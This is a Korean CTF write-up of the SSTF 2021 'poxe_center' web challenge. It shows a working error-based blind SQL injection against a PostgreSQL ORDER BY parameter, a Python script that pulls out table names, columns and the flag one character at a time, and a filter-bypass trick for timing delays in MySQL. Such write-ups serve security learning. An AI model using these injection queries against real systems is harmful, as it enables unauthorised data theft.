-
[Study] Hacker's Playground 2021(SSTF) poxe_center WriteupCTF/Hacker's Playground 2021(SSTF) 2021. 8. 23. 21:40
이번 SSTF Hacker's Playground 2021 는 웹 문제 가뭄이었다.. 다른 WEB 태그가 달린 문제는 사실상 Pwn이었다.
이 문제는 유일하게 WEB 스러운(?) 문제였는데 문제가 늦게 나와서 업무시간과 겹치는 바람에 대회 기간내에는 집중해서 풀지 못했었다.
그래서, 대회는 종료되었지만 이 문제를 풀어보았다.
전설의 포켓몬을 잡으라는 문제인듯 하다. 주어진 페이지에 접속해보자.
첫 페이지 http://poxecenter.sstf.site:31888/demo/getGochaList?sortName=full_name&sortFlag=desc
위와 같은 URL이 호출되면서 Gatcha list 라는 페이지가 안내된다.
파라미터 이름과 내용을 보니 ~~~ ORDER BY {sortName} {sortFlag} 형식의 sql 구문 같다는 추측이 가능했다.
실제로, sortName에 11을 입력하면 페이지가 정상 출력되는데 반해,
12를 입력하면 에러 페이지가 나타난다.
구문이나 주석 등 테스트로 미루어봤을 때 Mysql이라고 생각했는데, 급한 마음에 Mysql이라고 가정해버린것이 패착이었던 것 같다.
(if 구문, sleep() 등이 안되었을 때 다른 종류일것이라고는 생각하지 못했고 필터링이 걸려있는 줄 알았다..)
sqlmap을 활용하여 해당 문제 환경이 Mysql이 아닌 PostgreSQL 임을 확인 할 수 있었다.
the back-end. DBMS is PostgreSQL .. sqlmap을 활용해서 문제 해결을 이어나가볼까 했지만, 잘 되지 않아 직접 공격 쿼리를 작성해서 공격을 시도해보기로 했다.
공격 방식은 Error based 로,
select 1 from pg_user where ~~
형식의 구문을 활용하기로 했다.
1. select 1 from pg_user // Error! 2. select 1 from pg_user limit 1 // Non-Error!
해당 페이지의 두 구문을 테스트해봤을때 첫 번째 구문은 결과값이 여러개이기 때문에 에러가 발생하고, 두번째 구문은 에러가 나지 않는다.
따라서 where 절에 원하는 조건문을 기입하고 유효 할 시에 첫 번째 구문이 실행되기 때문에 에러가 발생할 것이다.
즉, "where 조건 만족 시 에러가 발생함" 을 활용한 Error based SQL Injection 공격을 시도해보자.
문제 풀이 방식은
[Clear] HSCTF 8 web/big-blind Writeup
대회에서 되게 오랜만이었던 Sql-injection 문제였다. 문제 이름괴 주어진 페이지에 로그인 창이 있는 것으로 보아 blind sql injection 문제임을 유추 할 수 있다. 우선 DB의 종류를 파악해보자. 위 자료
vardy.tistory.com
와 비슷했다.
다만, 환경이 PostgreSQL 이었으므로 활용되는 구문이 조금 달라진 정도였다.
문제를 해결한 expoloit code는 아래와 같다.
import requests, time, urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) string = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%()*+,-./:;<=>?@[\]^_`{|}~' #db_name ='' table_list=[] column_list=[] data_list=[] for k in range(300) : ## edit plz table_name='' column_name='' data='' for i in range(50) : for j in string : url = "http://poxecenter.sstf.site:31888/demo/getGochaList?sortName=" #db ##db_name = pokedb #query = "(select 1 from pg_user where substr(current_database(),"+str(i+1)+",1)='"+j+"')&sortFlag=" #tables #table_name = poke_info ? #query = "(select 1 from pg_user where substr((select table_name from information_schema.tables limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag=" #column_name = name -> X / first_attribute -> X / second_attribute ? #query = "(select 1 from pg_user where substr((select column_name from information_schema.columns where table_name='poke_info' limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag=" #data #query = "(select 1 from pg_user where substr((select name from poke_info limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag=" query = "(select 1 from pg_user where substr((select distinct second_attribute from poke_info limit 1 offset "+str(k)+"),"+str(i+1)+",1)='"+j+"')&sortFlag=" url += query #print(url) try: response = requests.get(url, verify=False, timeout=3) if "500" in str(response) : #print("hit!") #print(url) #db #db_name +=j #print("* db name : "+db_name) #table #table_name+=j #column #column_name+=j #data data+=j break else : #print(response) pass except requests.Timeout: print("time_error!") break #table_list.append(table_name) #print(table_list) #column_list.append(column_name) #print(column_list) #data_list.append(data) #print(data)
주석의 내용을 고쳐가면서
DB 정보 -> table 정보 -> column 정보 -> 데이터(FLAG)
순서로 정보를 획득해나가면 된다.
postgreSQL 환경이었기 때문에 특수한 구문을 활용해야 하는 경우가 있었다.
user -> pg_user database() -> current_database() sleep() -> pg_sleep() length() -> char_length() 등등..
postgreSQL 이 익숙하지는 않았지만 어렵게 얻을 수 있는 정보는 아니었기 때문에 구글링을 활용하면서 문제를 해결해 나갔다.
문제 해결 과정을 살펴보면
db 이름 획득 table 목록 획득(문제 설명에 전설의 포켓몬에 대한 언급이 있었으므로 poke_info 활용) column 목록 획득 name에 플래그가 있을것이라 생각했지만, 아니었고.. second_attribute 에 플래그 정보가 있었다 ! (distinct 구문을 활용하여 중복 제거) FLAG = SCTF{G0tcH4_Gh0sT_c4t_iS_L3G3ND4Ry_P0k3}
----------------------------------------------------------------------------------------------------------------------
++ Mysql인줄 알고 삽질하다가 얻은 정보인데 추후에 쓰일 수도 있을 것 같아서 공유한다.
time based 공격이 필수적일때 sleep(), benchmark() 가 필터링되어있다면
(select count(*) from information_schema.columns A, information_schema.columns B)
구문을 통해 시간 지연 가능
https://jacksimon86.tistory.com/47?category=953645
sfw3 (time based SQL injection)
sfw3번입니다. 이 문제를 처음 풀 때는 sleep, benchmark 함수가 필터링으로 막혀있길래 저는 당연히 에러 기반 sql injection 문제로 알고 삽질을 했습니다. 하지만 아무리 에러 기반으로 풀어도 별다른
jacksimon86.tistory.com
반응형